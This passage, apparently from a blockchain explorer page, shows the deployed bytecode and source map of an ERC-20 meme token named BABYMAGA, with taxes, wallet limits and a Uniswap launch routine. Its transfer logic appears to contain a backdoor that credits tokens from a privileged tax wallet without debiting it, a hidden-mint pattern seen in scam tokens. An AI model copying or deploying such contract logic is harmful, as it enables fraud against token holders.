45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b568853172dd25da99b4d80a67bfdc8638c13009f0fd6a3d954ea4d78c7127b264736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100fd575f3560e01c8063751039fc11610092578063da0ebc6211610062578063da0ebc62146102bb578063dd62ed3e146102d0578063e06c852214610314578063f2fce09914610328578063f8f3c5a91461033d575f80fd5b8063751039fc146102345780638da5cb5b1461024857806395d89b411461026e578063a9059cbb1461029c575f80fd5b806323b872dd116100cd57806323b872dd146101b0578063313ce567146101cf57806370a08231146101ea578063715018a61461021e575f80fd5b806306fdde0314610108578063095ea7b31461014a57806316b441ba1461017957806318160ddd1461019c575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50604080518082019091526008815267424142594d41474160c01b60208201525b6040516101419190611364565b60405180910390f35b348015610155575f80fd5b506101696101643660046113c6565b610352565b6040519015158152602001610141565b348015610184575f80fd5b5061018e60105481565b604051908152602001610141565b3480156101a7575f80fd5b5061018e610368565b3480156101bb575f80fd5b506101696101ca3660046113f0565b610388565b3480156101da575f80fd5b5060405160098152602001610141565b3480156101f5575f80fd5b5061018e61020436600461142e565b6001600160a01b03165f9081526001602052604090205490565b348015610229575f80fd5b506102326103ef565b005b34801561023f575f80fd5b50610232610469565b348015610253575f80fd5b505f546040516001600160a01b039091168152602001610141565b348015610279575f80fd5b5060408051808201909152600681526542414d41474160d01b6020820152610134565b3480156102a7575f80fd5b506101696102b63660046113c6565b61051a565b3480156102c6575f80fd5b5061018e600e5481565b3480156102db575f80fd5b5061018e6102ea366004611449565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561031f575f80fd5b50610232610526565b348015610333575f80fd5b5061018e600f5481565b348015610348575f80fd5b5061018e600d5481565b5f61035e3384846108cf565b5060015b92915050565b5f6103756009600a611574565b61038390633b9aca00611582565b905090565b5f6103948484846109f2565b6103e584336103e085604051806060016040528060288152602001611714602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fdc565b6108cf565b5060019392505050565b5f546001600160a01b031633146104215760405162461bcd60e51b815260040161041890611599565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104925760405162461bcd60e51b815260040161041890611599565b61049e6009600a611574565b6104ac90633b9aca00611582565b600d556104bb6009600a611574565b6104c990633b9aca00611582565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104f96009600a611574565b61050790633b9aca00611582565b60405190815260200160405180910390a1565b5f61035e3384846109f2565b5f546001600160a01b0316331461054f5760405162461bcd60e51b815260040161041890611599565b601254600160a01b900460ff16156105a95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610418565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105f29030906105e46009600a611574565b6103e090633b9aca00611582565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610642573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066691906115ce565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e991906115ce565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610733573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075791906115ce565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061079e816001600160a01b03165f9081526001602052604090205490565b5f806107b15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610817573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061083c91906115e9565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610891573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b59190611614565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b0382166109925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a565760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610418565b6001600160a01b038216610ab85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610418565b5f8111610b195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610418565b5f80546001600160a01b03858116911614801590610b4457505f546001600160a01b03848116911614155b15610e9f57610b756064610b6f600954600c5411610b6457600554610b68565b6007545b8590611014565b90611099565b6012549091506001600160a01b038581169116148015610ba357506011546001600160a01b03848116911614155b8015610bc757506001600160a01b0383165f9081526003602052604090205460ff16155b15610cad57600d54821115610c1e5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617854784c696d69742e00000000000000006044820152606401610418565b600e5482610c40856001600160a01b03165f9081526001602052604090205490565b610c4a9190611633565b1115610c985760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610418565b600c8054905f610ca783611646565b91905055505b6004546001600160a01b0390811690851603610d06576001600160a01b0383165f90815260016020526040902054610ce590836110da565b6001600160a01b039093165f90815260016020526040902092909255505050565b6012546001600160a01b03848116911614801590610d3c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610dbb57600e5482610d63856001600160a01b03165f9081526001602052604090205490565b610d6d9190611633565b1115610dbb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610418565b6012546001600160a01b038481169116148015610de157506001600160a01b0384163014155b15610e0e57610e0b6064610b6f600a54600c5411610e0157600654610b68565b6008548590611014565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610e4457506012546001600160a01b038581169116145b8015610e595750601254600160b01b900460ff165b8015610e685750600b54600c54115b15610e9d57600f54811115610e9457610e94610e8f84610e8a84601054611138565b611138565b61114c565b610e9d476112bc565b505b8015610f1757305f90815260016020526040902054610ebe90826110da565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f0e9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f3990836112f7565b6001600160a01b0385165f90815260016020526040902055610f7c610f5e83836112f7565b6001600160a01b0385165f90815260016020526040902054906110da565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fc585856112f7565b60405190815260200160405180910390a350505050565b5f8184841115610fff5760405162461bcd60e51b81526004016104189190611364565b505f61100b848661165e565b95945050505050565b5f825f0361102357505f610362565b5f61102e8385611582565b90508261103b8583611671565b146110925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610418565b9392505050565b5f61109283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611338565b5f806110e68385611633565b9050838110156110925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610418565b5f8183116111465782611092565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061119257611192611690565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061120d91906115ce565b8160018151811061122057611220611690565b6001600160a01b03928316602091820292909201015260115461124691309116846108cf565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061127e9085905f908690309042906004016116a4565b5f604051808303815f87803b158015611295575f80fd5b505af11580156112a7573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112f3573d5f803e3d5ffd5b5050565b5f61109283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fdc565b5f81836113585760405162461bcd60e51b81526004016104189190611364565b505f61100b8486611671565b5f6020808352835180828501525f5b8181101561138f57858101830151858201604001528201611373565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113c3575f80fd5b50565b5f80604083850312156113d7575f80fd5b82356113e2816113af565b946020939093013593505050565b5f805f60608486031215611402575f80fd5b833561140d816113af565b9250602084013561141d816113af565b929592945050506040919091013590565b5f6020828403121561143e575f80fd5b8135611092816113af565b5f806040838503121561145a575f80fd5b8235611465816113af565b91506020830135611475816113af565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156114ce57815f19048211156114b4576114b4611480565b808516156114c157918102915b93841c9390800290611499565b509250929050565b5f826114e457506001610362565b816114f057505f610362565b816001811461150657600281146115105761152c565b6001915050610362565b60ff84111561152157611521611480565b50506001821b610362565b5060208310610133831016604e8410600b841016171561154f575081810a610362565b6115598383611494565b805f190482111561156c5761156c611480565b029392505050565b5f61109260ff8416836114d6565b808202811582820484141761036257610362611480565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156115de575f80fd5b8151611092816113af565b5f805f606084860312156115fb575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611624575f80fd5b81518015158114611092575f80fd5b8082018082111561036257610362611480565b5f6001820161165757611657611480565b5060010190565b8181038181111561036257610362611480565b5f8261168b57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116f25784516001600160a01b0316835293830193918301916001016116cd565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b568853172dd25da99b4d80a67bfdc8638c13009f0fd6a3d954ea4d78c7127b264736f6c63430008150033

Deployed Bytecode Sourcemap

3593:7033:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5393:83;;;;;;;;;;-1:-1:-1;5463:5:0;;;;;;;;;;;;-1:-1:-1;;;5463:5:0;;;;5393:83;;;;;;;:::i;:::-;;;;;;;;6226:161;;;;;;;;;;-1:-1:-1;6226:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6226:161:0;1023:187:1;4638:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4638:55:0;1215:177:1;5670:95:0;;;;;;;;;;;;;:::i;6395:313::-;;;;;;;;;;-1:-1:-1;6395:313:0;;;;;:::i;:::-;;:::i;5579:83::-;;;;;;;;;;-1:-1:-1;5579:83:0;;4265:1;2000:36:1;;1988:2;1973:18;5579:83:0;1858:184:1;5773:119:0;;;;;;;;;;-1:-1:-1;5773:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5866:18:0;5839:7;5866:18;;;:9;:18;;;;;;;5773:119;2674:148;;;;;;;;;;;;;:::i;:::-;;9654:159;;;;;;;;;;;;;:::i;2460:79::-;;;;;;;;;;-1:-1:-1;2498:7:0;2525:6;2460:79;;-1:-1:-1;;;;;2525:6:0;;;2445:51:1;;2433:2;2418:18;2460:79:0;2299:203:1;5484:87:0;;;;;;;;;;-1:-1:-1;5556:7:0;;;;;;;;;;;;-1:-1:-1;;;5556:7:0;;;;5484:87;;5900:167;;;;;;;;;;-1:-1:-1;5900:167:0;;;;;:::i;:::-;;:::i;4513:57::-;;;;;;;;;;;;;;;;6075:143;;;;;;;;;;-1:-1:-1;6075:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6183:18:0;;;6156:7;6183:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6075:143;9918:666;;;;;;;;;;;;;:::i;4577:54::-;;;;;;;;;;;;;;;;4453:53;;;;;;;;;;;;;;;;6226:161;6301:4;6318:39;294:10;6341:7;6350:6;6318:8;:39::i;:::-;-1:-1:-1;6375:4:0;6226:161;;;;;:::o;5670:95::-;5723:7;4321:13;4265:1;4321:2;:13;:::i;:::-;4308:26;;:10;:26;:::i;:::-;5743:14;;5670:95;:::o;6395:313::-;6493:4;6510:36;6520:6;6528:9;6539:6;6510:9;:36::i;:::-;6557:121;6566:6;294:10;6588:89;6626:6;6588:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6588:19:0;;;;;;:11;:19;;;;;;;;294:10;6588:33;;;;;;;;;;:37;:89::i;:::-;6557:8;:121::i;:::-;-1:-1:-1;6696:4:0;6395:313;;;;;:::o;2674:148::-;2587:6;;-1:-1:-1;;;;;2587:6:0;294:10;2587:22;2579:67;;;;-1:-1:-1;;;2579:67:0;;;;;;;:::i;:::-;;;;;;;;;2781:1:::1;2765:6:::0;;2744:40:::1;::::0;-1:-1:-1;;;;;2765:6:0;;::::1;::::0;2744:40:::1;::::0;2781:1;;2744:40:::1;2812:1;2795:19:::0;;-1:-1:-1;;;;;;2795:19:0::1;::::0;;2674:148::o;9654:159::-;2587:6;;-1:-1:-1;;;;;2587:6:0;294:10;2587:22;2579:67;;;;-1:-1:-1;;;2579:67:0;;;;;;;:::i;:::-;4321:13:::1;4265:1;4321:2;:13;:::i;:::-;4308:26;::::0;:10:::1;:26;:::i;:::-;9707:11;:21:::0;4321:13:::1;4265:1;4321:2;:13;:::i;:::-;4308:26;::::0;:10:::1;:26;:::i;:::-;9739:15;:23:::0;9778:27:::1;4321:13;4265:1;4321:2;:13;:::i;:::-;4308:26;::::0;:10:::1;:26;:::i;:::-;9778:27;::::0;1361:25:1;;;1349:2;1334:18;9778:27:0::1;;;;;;;9654:159::o:0;5900:167::-;5978:4;5995:42;294:10;6019:9;6030:6;5995:9;:42::i;9918:666::-;2587:6;;-1:-1:-1;;;;;2587:6:0;294:10;2587:22;2579:67;;;;-1:-1:-1;;;2579:67:0;;;;;;;:::i;:::-;9983:13:::1;::::0;-1:-1:-1;;;9983:13:0;::::1;;;9982:14;9974:49;;;::::0;-1:-1:-1;;;9974:49:0;;5151:2:1;9974:49:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;9974:49:0::1;4949:347:1::0;9974:49:0::1;10034:15;:80:::0;;-1:-1:-1;;;;;;10034:80:0::1;10071:42;10034:80:::0;;::::1;::::0;;;10125:58:::1;::::0;10142:4:::1;::::0;4321:13:::1;4265:1;4321:2;:13;:::i;:::-;4308:26;::::0;:10:::1;:26;:::i;10125:58::-;10223:15;;;;;;;;;-1:-1:-1::0;;;;;10223:15:0::1;-1:-1:-1::0;;;;;10223:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10205:55:0::1;;10269:4;10276:15;;;;;;;;;-1:-1:-1::0;;;;;10276:15:0::1;-1:-1:-1::0;;;;;10276:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10205:94;::::0;-1:-1:-1;;;;;;10205:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;10205:94:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;10205:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10194:8;:105:::0;;-1:-1:-1;;;;;10194:105:0;;::::1;-1:-1:-1::0;;;;;;10194:105:0;;::::1;;::::0;;10310:15:::1;::::0;::::1;:31;10349:21;10380:4;10386:24;10380:4:::0;-1:-1:-1;;;;;5866:18:0;5839:7;5866:18;;;:9;:18;;;;;;;5773:119;10386:24:::1;10411:1;10413::::0;10415:7:::1;2498::::0;2525:6;-1:-1:-1;;;;;2525:6:0;;2460:79;10415:7:::1;10310:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10310:129:0;;;-1:-1:-1;;;;;6225:15:1;;;10310:129:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;10423:15:0::1;6439:19:1::0;;;6432:35;6141:19;;10310:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10457:8:0::1;::::0;10483:15:::1;::::0;10450:66:::1;::::0;-1:-1:-1;;;10450:66:0;;-1:-1:-1;;;;;10483:15:0;;::::1;10450:66;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;10457:8:0;::::1;::::0;-1:-1:-1;10450:24:0::1;::::0;6936:18:1;;10450:66:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10527:11:0::1;:18:::0;;-1:-1:-1;;;;10556:20:0;-1:-1:-1;;;10556:20:0;;;9918:666::o;6716:335::-;-1:-1:-1;;;;;6809:19:0;;6801:68;;;;-1:-1:-1;;;6801:68:0;;7552:2:1;6801:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;6801:68:0;7350:400:1;6801:68:0;-1:-1:-1;;;;;6888:21:0;;6880:68;;;;-1:-1:-1;;;6880:68:0;;7957:2:1;6880:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;6880:68:0;7755:398:1;6880:68:0;-1:-1:-1;;;;;6959:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7011:32;;1361:25:1;;;7011:32:0;;1334:18:1;7011:32:0;;;;;;;6716:335;;;:::o;7059:1988::-;-1:-1:-1;;;;;7148:18:0;;7140:68;;;;-1:-1:-1;;;7140:68:0;;8360:2:1;7140:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;7140:68:0;8158:401:1;7140:68:0;-1:-1:-1;;;;;7227:18:0;;7219:66;;;;-1:-1:-1;;;7219:66:0;;8766:2:1;7219:66:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;7219:66:0;8564:399:1;7219:66:0;7312:1;7304:5;:9;7296:63;;;;-1:-1:-1;;;7296:63:0;;9170:2:1;7296:63:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;7296:63:0;8968:405:1;7296:63:0;7370:17;2525:6;;-1:-1:-1;;;;;7404:15:0;;;2525:6;;7404:15;;;;:34;;-1:-1:-1;2498:7:0;2525:6;-1:-1:-1;;;;;7423:15:0;;;2525:6;;7423:15;;7404:34;7400:1288;;;7467:75;7538:3;7467:66;7488:15;;7478:9;;:25;7477:55;;7518:14;;7477:55;;;7505:12;;7477:55;7467:5;;:9;:66::i;:::-;:70;;:75::i;:::-;7571:8;;7455:87;;-1:-1:-1;;;;;;7563:16:0;;;7571:8;;7563:16;:52;;;;-1:-1:-1;7599:15:0;;-1:-1:-1;;;;;7583:32:0;;;7599:15;;7583:32;;7563:52;:82;;;;-1:-1:-1;;;;;;7621:24:0;;;;;;:18;:24;;;;;;;;7619:26;7563:82;7559:311;;;7684:11;;7675:5;:20;;7667:57;;;;-1:-1:-1;;;7667:57:0;;9580:2:1;7667:57:0;;;9562:21:1;9619:2;9599:18;;;9592:30;9658:26;9638:18;;;9631:54;9702:18;;7667:57:0;9378:348:1;7667:57:0;7778:15;;7769:5;7751:15;7761:4;-1:-1:-1;;;;;5866:18:0;5839:7;5866:18;;;:9;:18;;;;;;;5773:119;7751:15;:23;;;;:::i;:::-;:42;;7743:81;;;;-1:-1:-1;;;7743:81:0;;10063:2:1;7743:81:0;;;10045:21:1;10102:2;10082:18;;;10075:30;10141:28;10121:18;;;10114:56;10187:18;;7743:81:0;9861:350:1;7743:81:0;7843:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7559:311;7896:9;;-1:-1:-1;;;;;7896:9:0;;;7888:17;;;;7884:78;;-1:-1:-1;;;;;7925:15:0;;;;;;:9;:15;;;;;;:26;;7945:5;7925:19;:26::i;:::-;-1:-1:-1;;;;;7909:15:0;;;;;;;:9;:15;;;;;:42;;;;-1:-1:-1;;;7059:1988:0:o;7884:78::-;7988:8;;-1:-1:-1;;;;;7980:16:0;;;7988:8;;7980:16;;;;:46;;-1:-1:-1;;;;;;8002:24:0;;;;;;:18;:24;;;;;;;;8000:26;7980:46;7976:168;;;8082:15;;8073:5;8055:15;8065:4;-1:-1:-1;;;;;5866:18:0;5839:7;5866:18;;;:9;:18;;;;;;;5773:119;8055:15;:23;;;;:::i;:::-;:42;;8047:81;;;;-1:-1:-1;;;8047:81:0;;10063:2:1;8047:81:0;;;10045:21:1;10102:2;10082:18;;;10075:30;10141:28;10121:18;;;10114:56;10187:18;;8047:81:0;9861:350:1;8047:81:0;8171:8;;-1:-1:-1;;;;;8163:16:0;;;8171:8;;8163:16;:40;;;;-1:-1:-1;;;;;;8183:20:0;;8198:4;8183:20;;8163:40;8160:170;;;8236:78;8310:3;8236:69;8257:16;;8247:9;;:26;8246:58;;8289:15;;8246:58;;;8275:13;;8236:5;;:9;:69::i;:78::-;8224:90;;8160:170;8385:4;8346:18;5866;;;:9;:18;;;;;;8411:6;;-1:-1:-1;;;8411:6:0;;;;8410:7;:27;;;;-1:-1:-1;8429:8:0;;-1:-1:-1;;;;;8421:16:0;;;8429:8;;8421:16;8410:27;:42;;;;-1:-1:-1;8441:11:0;;-1:-1:-1;;;8441:11:0;;;;8410:42;:74;;;;;8466:18;;8456:9;;:28;8410:74;8406:271;;;8519:13;;8508:10;:24;8505:104;;;8551:58;8568:40;8572:5;8578:29;8582:10;8593:13;;8578:3;:29::i;:::-;8568:3;:40::i;:::-;8551:16;:58::i;:::-;8628:33;8639:21;8628:10;:33::i;:::-;7440:1248;7400:1288;8703:11;;8700:161;;8771:4;8753:24;;;;:9;:24;;;;;;:39;;8782:9;8753:28;:39::i;:::-;8746:4;8728:24;;;;:9;:24;;;;;;;:64;;;;8810:39;;-1:-1:-1;;;;;8810:39:0;;;;;;;8839:9;1361:25:1;;1349:2;1334:18;;1215:177;8810:39:0;;;;;;;;8700:161;-1:-1:-1;;;;;8887:15:0;;;;;;:9;:15;;;;;;:26;;8907:5;8887:19;:26::i;:::-;-1:-1:-1;;;;;8871:15:0;;;;;;:9;:15;;;;;:42;8940:41;8960:20;:5;8970:9;8960;:20::i;:::-;-1:-1:-1;;;;;8940:15:0;;;;;;:9;:15;;;;;;;:19;:41::i;:::-;-1:-1:-1;;;;;8924:15:0;;;;;;;:9;:15;;;;;:57;;;;8997:42;;;9018:20;:5;9028:9;9018;:20::i;:::-;8997:42;;1361:25:1;;;1349:2;1334:18;8997:42:0;;;;;;;7129:1918;7059:1988;;;:::o;1352:190::-;1438:7;1474:12;1466:6;;;;1458:29;;;;-1:-1:-1;;;1458:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1498:9:0;1510:5;1514:1;1510;:5;:::i;:::-;1498:17;1352:190;-1:-1:-1;;;;;1352:190:0:o;1550:246::-;1608:7;1632:1;1637;1632:6;1628:47;;-1:-1:-1;1662:1:0;1655:8;;1628:47;1685:9;1697:5;1701:1;1697;:5;:::i;:::-;1685:17;-1:-1:-1;1730:1:0;1721:5;1725:1;1685:17;1721:5;:::i;:::-;:10;1713:56;;;;-1:-1:-1;;;1713:56:0;;10913:2:1;1713:56:0;;;10895:21:1;10952:2;10932:18;;;10925:30;10991:34;10971:18;;;10964:62;-1:-1:-1;;;11042:18:1;;;11035:31;11083:19;;1713:56:0;10711:397:1;1713:56:0;1787:1;1550:246;-1:-1:-1;;;1550:246:0:o;1804:132::-;1862:7;1889:39;1893:1;1896;1889:39;;;;;;;;;;;;;;;;;:3;:39::i;1021:179::-;1079:7;;1111:5;1115:1;1111;:5;:::i;:::-;1099:17;;1140:1;1135;:6;;1127:46;;;;-1:-1:-1;;;1127:46:0;;11315:2:1;1127:46:0;;;11297:21:1;11354:2;11334:18;;;11327:30;11393:29;11373:18;;;11366:57;11440:18;;1127:46:0;11113:351:1;9057:98:0;9114:7;9141:1;9139;:3;9138:9;;9146:1;9138:9;;;-1:-1:-1;9144:1:0;9057:98;-1:-1:-1;9057:98:0:o;9163:483::-;4972:6;:13;;-1:-1:-1;;;;4972:13:0;-1:-1:-1;;;4972:13:0;;;9265:16:::1;::::0;;9279:1:::1;9265:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9265:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9265:16:0::1;9241:40;;9310:4;9292;9297:1;9292:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9292:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9336:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9336:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9292:7;;9336:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9326:4;9331:1;9326:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9326:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9401:15:::1;::::0;9369:62:::1;::::0;9386:4:::1;::::0;9401:15:::1;9419:11:::0;9369:8:::1;:62::i;:::-;9442:15;::::0;:196:::1;::::0;-1:-1:-1;;;9442:196:0;;-1:-1:-1;;;;;9442:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9523:11;;9442:15:::1;::::0;9565:4;;9592::::1;::::0;9612:15:::1;::::0;9442:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5008:6:0;:14;;-1:-1:-1;;;;5008:14:0;;;-1:-1:-1;;;;9163:483:0:o;9821:89::-;9876:9;;:26;;-1:-1:-1;;;;;9876:9:0;;;;:26;;;;;9895:6;;9876:9;:26;:9;:26;9895:6;9876:9;:26;;;;;;;;;;;;;;;;;;;;;9821:89;:::o;1208:136::-;1266:7;1293:43;1297:1;1300;1293:43;;;;;;;;;;;;;;;;;:3;:43::i;1944:189::-;2030:7;2065:12;2058:5;2050:28;;;;-1:-1:-1;;;2050:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2089:9:0;2101:5;2105:1;2101;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::